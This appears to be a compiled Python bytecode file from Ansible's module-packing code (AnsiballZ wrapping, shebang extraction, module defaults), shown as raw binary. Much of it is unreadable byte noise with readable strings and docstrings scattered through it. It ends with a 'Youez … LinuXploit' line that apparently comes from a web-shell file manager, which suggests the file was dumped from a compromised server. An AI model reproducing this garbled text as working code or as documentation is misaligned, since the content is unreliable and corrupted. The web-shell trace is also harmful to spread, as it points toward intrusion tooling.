0��� � ���Z�a�a�bl�ny�oQ�oQ�R�C��s�#�#��$�$��7��	e��;�2�2�K���IZ�IZ�[�D�!����+�*C�*C�!D�d�K�Lb�Lb�c���!�!�"Z�+1�+<�+<�"Z�	Z�7B�6M�6M�{�Of�Of�5g���1�1�2� "���,�,�S�b�1�	L�C� �'�'��,�#�$8�9�O��o�5�"�)�)�*A�/�SX�Ze�Zp�Zp�J�+K�L�		L�c�n*�B��-�n�=�a�@��
����+�Y�2�>��N�+�A�.�	
��-�6K�L���
�
�6��@�A�B��Uh��
�)�*�L��d�A�E�E�J�K�K��L��H��V�-�.�	e��+�B[�B[�]^�]b�]b�c�d�d��	e�sB�!$L4�L4�"L9�"M+�&M0�9M(�M#�#M(�0N)�?%N$�$N)c	��ttgd��ttdd��tdg�z
z�}|dd}t|j	d|��S)N)���	�
��
�� ��i)�	bytearrayr5�range�bool�	translate)�
b_module_data�	textchars�starts   r,�
_is_binaryrG�sT���#�7�8�3�u�T�5�?Q�;R�UX�Z^�Y_�U`�;`�`�a�I��%�4� �E������i�0�1�1r.c��d}tj|�}|stj|�}|rB|jd�}d|vrt	d��dj|j
d��}|St	d��)ap
    Get the fully qualified name for an ansible module based on its pathname

    remote_module_fqn is the fully qualified name.  Like ansible.modules.system.ping
    Or ansible_collections.Namespace.Collection_name.plugins.modules.ping
    .. warning:: This function is for ansible modules only.  It won't work for other things
        (non-module plugins, etc)
    NrkrQz7Module name (or path) was not a valid python identifier�/z1Unable to determine module's fully qualified name)�CORE_LIBRARY_PATH_RE�search�COLLECTION_PATH_RE�groupr�r'rU)�module_path�remote_module_fqn�matchrks    r,�_get_ansible_module_fqnrQ�s�����
!�'�'��4�E��"�)�)�+�6��
��{�{�6�"���$�;��V�W�W��H�H�T�Z�Z��_�5��
���L�M�Mr.c��|jd�}dj|�dz}|jt|||��|�|ddk(r
d}t	�}nd}t	|j��}t
|t|��D]<}dj|d	|�d
z}	|	|vr�|jt|	||��d��>y	)zKAdd a module from ansible or from an ansible collection into the module ziprQrIr�rrr�r�rZNr�r.)rUr'r'r
�	frozenset�namelistrAr�)
rrrOrD�module_path_partsrNrF�existing_paths�idx�package_paths
          r,�_add_module_to_ziprYs���)�/�/��4���(�(�,�-��5�K��K�K��K��r�2������y�(���"�����"�2�;�;�=�1���U�C� 1�2�3�

���x�x� 1�$�3� 7�8�>�I���>�)��	�����i�B�7��	
�

r.c�F�dx}}t|�rdx}}�n4t|vrd}d}|jtd�}�ntj	|�rd}d}n�t
|vrd}d}|jt
d�}n�t
jd|tj�s�t
jd	|tj�sot
jd
|tj�sJt
jd|tj�s%t
jd|tj�rd}d}nt|vrd}d
}nd|vrdx}}d}|dvr|||fSt�}	t|�}|dk(�r�tj�dd}|ddkrJt!j |dt j"j$i�j'd�}t)d|����t+|��}	t-t/j0|t2d���}	t9t:|�}tBjDjGtHjJd�}tBjDjG||�d |���}d}tBjDjM|�r?tjd!|z�tO|d"�5}|jQ�}ddd��nY|tRjRvr,tjd#|z�tRjR|}n+tjd$|z�tRjRd}tjd%�|5tjd&tU|�z�tBjDjM|��sRtjd'�t�}t;jV|d(|�)�} tY|||| |�tjd*�t[| |||�| j]�t_j`|jc��}tBjDjM|�s	tCjd|�tjd+�tO|d,zd-�5}!|!ji|�ddd�tjd.�tCjj|d,z|�tjd/�ddd�|�;tjd0�	tO|d"�5}!|!jQ�}ddd�to|d2�3�}tq|�\}"}#|"�d4}"ts|"|||#|�5�\}}$tHjtjwd6|�7�}%ty|%tz�st{|j}|%��}%|%rt~t+|%�8�z}&nd9}&tBj�j�d:�}'|'r1tBj�d;}(|(rt�t+|'|(�<�z})n	t�})nd9})|jit�t�t+|||||t�||)|&�=�	z��|jc�}�n=|dk(r%d>}t�j�||||
|||	|
|||||�
}�n|d
k(�r
t�t/j0|t2d���}*t�t-|*��}+|jt�t�t-t����}|jt�|+�}|jt�t�d?jGtHj����}|jt|*�}d@t�|j�dAtHj��d2�3�z},|jdB|,�}|||fS#t$rtjd�d|z}Y��XwxYw#t4$r}t)dt7|�z��d}~wwxYw#t<$r,tj?d|z�t:j@}Y��wxYw#1swY��xYw#tf$r$tBjDjM|�s�Y���wxYw#1swY���xYw#1swY���xYw#1swY��_xYw#tl$rt)d1��wxYw)Cz�
    Given the source of the module, convert it to a Jinja2 template to insert
    module code and return whether it's a new or old style module.
    �old�binary�newrts(from ansible.module_utils.basic import *�
powershells,#Requires -Module Ansible.ModuleUtils.Legacys#Requires -Modules#Requires -Versions#AnsibleRequires -OSVersions#AnsibleRequires -Powershells#AnsibleRequires -CSharpUtil�jsonargss	WANT_JSON�non_native_want_jsonN)r[r`r\z)ANSIBALLZ: Could not determine module FQNzansible.modules.%sr�ri��tzinfoz%cz7Cannot create zipfile due to pre-1980 configured date: )�ANSIBLE_MODULE_ARGST)�cls�
vault_to_textzDUnable to pass options to module, they must be JSON serializable: %szOBad module compression string specified: %s.  Using ZIP_STORED (no compression)�ansiballz_cache�-z"ANSIBALLZ: using cached module: %srizANSIBALLZ: Using lock for %sz$ANSIBALLZ: Using generic lock for %szANSIBALLZ: Acquiring lockzANSIBALLZ: Lock acquired: %szANSIBALLZ: Creating module�w)�moderz&ANSIBALLZ: Writing module into payloadzANSIBALLZ: Writing modulez-part�wbzANSIBALLZ: Renaming modulezANSIBALLZ: Done creating modulez$ANSIBALLZ: Reading module after lockzvA different worker process failed to create module file. Look at traceback for that process for debugging information.rrz/usr/bin/python�r��PYTHON_MODULE_RLIMIT_NOFILErv)�
rlimit_nofiler��_ANSIBLE_COVERAGE_CONFIG�_ANSIBLE_COVERAGE_OUTPUT)�coverage_config�coverage_output)	�zipdata�ansible_moduler8�paramsr��codingr�coverage�rlimitz#!powershell�,ssyslog.�ansible_syslog_facilityssyslog.LOG_USER)OrG�REPLACER�replace�NEW_STYLE_PYTHON_MODULE_RErK�REPLACER_WINDOWS�re�
IGNORECASE�REPLACER_JSONARGSr	rQr�r��debugrr�datetime�timezone�utc�strftimer
�dict�repr�json�dumpsr�	TypeErrorr�getattrr�AttributeErrorr%�
ZIP_STOREDrjrkr'r��DEFAULT_LOCAL_TMPrlrnror�id�ZipFiler4rY�close�base64�	b64encode�getvalue�makedirs�OSError�write�rename�IOErrorr�_extract_interpreterr�r�r�rG�intr��ANSIBALLZ_RLIMIT_TEMPLATE�environr��ANSIBALLZ_COVERAGE_TEMPLATE�!ANSIBALLZ_COVERAGE_CHECK_TEMPLATEr�ACTIVE_ANSIBALLZ_TEMPLATE�ENCODING_STRING�ps_manifest�_create_powershell_wrapper�REPLACER_VERSIONr
�REPLACER_COMPLEX�REPLACER_SELINUX�DEFAULT_SELINUX_SPECIAL_FS�DEFAULT_SYSLOG_FACILITY)-�module_namerDrN�module_argsr�r��module_compression�
async_timeout�become�
become_method�become_user�become_password�become_flags�environmentr��module_substyle�module_styler��outputrOr�date_stringrs�python_repred_paramsr+�compression_method�lookup_path�cached_module_filenamerqr)�lock�	zipoutputr�f�
o_interpreter�o_argsr�rlrvrorpru�module_args_json�python_repred_args�facilitys-                                             r,�_find_module_utilsr�1s���&+�*�O�l��-� �)1�1��,�	�]�	"���"��%�-�-�h�8c�d�
�	#�	*�	*�=�	9���"��	�]�	*���&��%�-�-�.>�@o�p�
�	���'���
�
�	F��y�y�.�
�r�}�}�M��y�y�7���
�
�V��y�y�8�-����W��y�y�8�-����W���&��	�m�	+���$��	��	&�)?�?��,��G��@�@��l�G�3�3�
�Y�F�	?�3�K�@���(�"��K�K�M�"�1�%�	��Q�<�$��"�+�+�Y�U�x�?P�?P�?T�?T�U�^�^�_c�d�K��!X�Yd�Xe�f�g�g��+�7��	v�#'��
�
�6�?Q�ae�(f�#g� �	4�!(��2D�!E��
�g�g�l�l�1�#6�#6�8I�J��!#�����k�FW�Yk�;l�!m����
�7�7�>�>�0�1��M�M�>�AW�W�X��,�d�3�
-�{�%�*�*�,��
-�
-��0�C�C�C��
�
�<�{�J�K�)�<�<�[�I���
�
�D�{�R�S�)�<�<�T�B���M�M�5�6��,
E��
�
�<�r�$�x�G�H��w�w�~�~�&<�=��M�M�">�?� '�	�I� �����J\�]�B�%�[�2C�]�TV�Xa�b��M�M�"J�K�&�r�9�6G��W��H�H�J�$�.�.�y�/A�/A�/C�D�G��7�7�>�>�+�6�&��K�K��4��M�M�"=�>��4�w�>��E�)������(�)��M�M�">�?��I�I�4�w�>�@V�W��M�M�"C�D�Y,
E�\���
�
�D�E�h��4�d�;�+�q�"#�&�&�(��+�
�'�*?�@�� 4�]� C��
�v�� �.�M�+�M�9�g�v�gv�w�������1�1�2O�[d�1�e�
��-��-��� 0� 0�� ?�@�M��.��+�2��F��F��*�*�.�.�)C�D��� �j�j�)C�D�O��7��$3�$3�:���=���H����X�7�$��&�(�'��"����
;
�

�
�
	����)�
�	�L�	(�
"��$�>�>��;��[��6�=�+���/�9�6G�
�
�
�J�	&�#�D�J�J�{�@R�bf�$g�h��&�d�+;�&<�=��%�-�-�.>���k�IZ�@[�\�
�%�-�-�.>�@R�S�
�%�-�-�.>�����RS�Rn�Rn�Io�@p�q�
�&�-�-�.?�AQ�R�
������7P�RS�Rk�Rk�)l�vK�!L�L��%�-�-�.@�(�K�
��<��1�1���?�	�
�
�A�B�0�;�>��?��"�	v��e�hq�rs�ht�t�u�u��	v��
�	4��O�O�n�rD�D�
E�!(�!3�!3��	4��
-�
-��Z '�&�$&�7�7�>�>�+�#>� %�$?�&��)�)��I,
E�,
E��h+�+���h�&�(g�h�h�h�s�� ^�'%_�
_/�5`'�C=a1�`4�#$a1�a$�Aa1�b�a>�!b�#_�_�	_,�_'�'_,�/1`$�#`$�'`1�4)a!�a1� a!�!a1�$a.	�)a1�1a;�>b�b�b c��d}g}|jdd�}|djd�rZ|dj�}tjt	|ddd���}|D�cgc]}t	|d����}}|d}|dd}||fScc}w)	z�
    Used to extract shebang expression from binary module data and return a text
    string with the shebang, or None if no shebang is detected.
    N�
rZrs#!r�rr)rUr%r$�shlexr)rDr�r@�b_lines�	b_shebang�	cli_split�as       r,r�r�'s����K�
�D��!�!�%��+�G��q�z���U�#��A�J�$�$�&�	��K�K��	�!�"�
�>S� T�U�	�HQ�Q�!�W�Q�'<�=�Q�	�Q���l�����}�������	Rs�%B	c�0�|�in|}|�in|}t|d�5}|j�}ddd�t||||||||||	|
|||
��\}}}|dk(r||t|d��fS|��t	|�\}}|��t|||||
��\}}|j
dd	�}||k7rt|d
d��|d<tjj|�jd
�r|jd	t�dj|�}|||fS#1swY��xYw)a
    Used to insert chunks of code into modules before transfer rather than
    doing regular python imports.  This allows for more efficient transfer in
    a non-bootstrapping scenario by not moving extra files over the wire and
    also takes care of embedding arguments in the transferred modules.

    This version is done in such a way that local imports can still be
    used in the module code, so IDEs don't have to be aware of what is going on.

    Example:

    from ansible.module_utils.basic import *

       ... will result in the insertion of basic.py into the module
       from the module_utils/ directory in the source tree.

    For powershell, this code effectively no-ops, as the exec wrapper requires access to a number of
    properties not available here.

    Nri)r�r�r�r�r�r�r�r�r\�passthru)�	nonstringrjr�rZr)rr�rrt)rnror�rr�r�rUrrjrkr�r%�insert�b_ENCODING_STRINGr')r�rNr�r�r�r�r�r�r�r�r�r�r�r�r�rDr�r�r�r@�new_interpreterr�s                      r,�
modify_moduler�>sb��, �'��Y�I�#�+�"��K�	
�k�4�	 �!�A�����
�!�
.@��]�\g�it�v�BI�K]�N[�dj�{H�LW�ix�HT�LW�ix�.z�*�]�L�'�
�x���|�W�W�
�-S�T�T�	��0��?���T��"�'3�K��G�UY�kz�'{�$�G�_�$�)�)�%��3�G��o�-�%�g�6K�Wa�b���
��w�w����,�7�7�	�B����q�"3�4�!�J�J�w�/�M��<��1�1�=!�!�s�D�Dc�,�|�d}tj|��g}n|j|g�}i}i}t|t�r|D]}	|j|	��|j
|�}|D]b}	|	jd�s�|	jd�d}
|
|vs�.|j|jd|
z�xsij���d|j|j|i�j��|j|�|S)Nz�Finding module_defaults for action %s. The caller has not passed the action_groups, so any that may include this action will be ignored.)r�zgroup/r�zgroup/%s)
r�r%r�rGrH�updater�r%rU�copy)�actionr@�defaultsr��
action_groupsr��group_names�tmp_args�module_defaults�default�
group_names           r,�get_action_args_with_defaultsr�xs����
<�	�
	���C�� ���#�'�'���3���H��O��(�D�!��	,�G��"�"�7�+�	,��&�&��7�O�"�]�����h�'� ���x�0��4�J��[�(�����!4�!4�Z�*�5L�!M�!S�QS� Y� Y� [�\�	]�
�O�O�O�'�'���3�8�8�:�;�
�O�O�D���Or.r�rb)
Nr�rFNNNNNF)c�
__future__rrr�type�
__metaclass__rEr�r�r�rjr�rrr}r�rrr�ior	�ansible.releaser
rr�rr��ansible.errorsr
�&ansible.executor.interpreter_discoveryr�ansible.executor.powershellrr�� ansible.module_utils.common.jsonr�+ansible.module_utils.common.text.convertersrrr�ansible.plugins.loaderr�2ansible.utils.collection_loader._collection_finderrr�ansible.executorr�ansible.utils.displayr�collectionsr�importlib.utilr��importlib.machineryr�rryr�r�r|rr�r�r�rkr'�dirname�__file__r�ANSIBALLZ_TEMPLATEr�r�r�r-�DEFAULT_KEEP_REMOTE_FILESr��
site_packagesr�escaperJrLr{�NodeVisitorr0rrrTr�r�r�r�r
r4rGrQrYr�r�r�r�r�r.r,�<module>r�s>��(C�B��
�
�
���	����	��'�'��3�"�'�T�F�?�T�T�6�i�
0�)�"���
�)��$�%>�AF�G��0��-��A��)��;��5��-��.���W�W�\�\�"�'�'�/�/�(�";�T�>�R��C��J��,%�!���"����!3��!0�0B� C��
����������������0I� J�K�
�!�r�z�z�"O�R[�RT�R[�R[�\i�Rj�"j�k���R�Z�Z� k�l��(�R�Z�Z�)�	��H!�c�o�o�H!�V�8=�w�PU�6$�r@/�@/�J'�3�'�T5�"7�5�p�qB�h2��B
�Fpu�s2�l�.LQ�DI�72�t#r.

Youez - 2016 - github.com/yon3zu
LinuXploit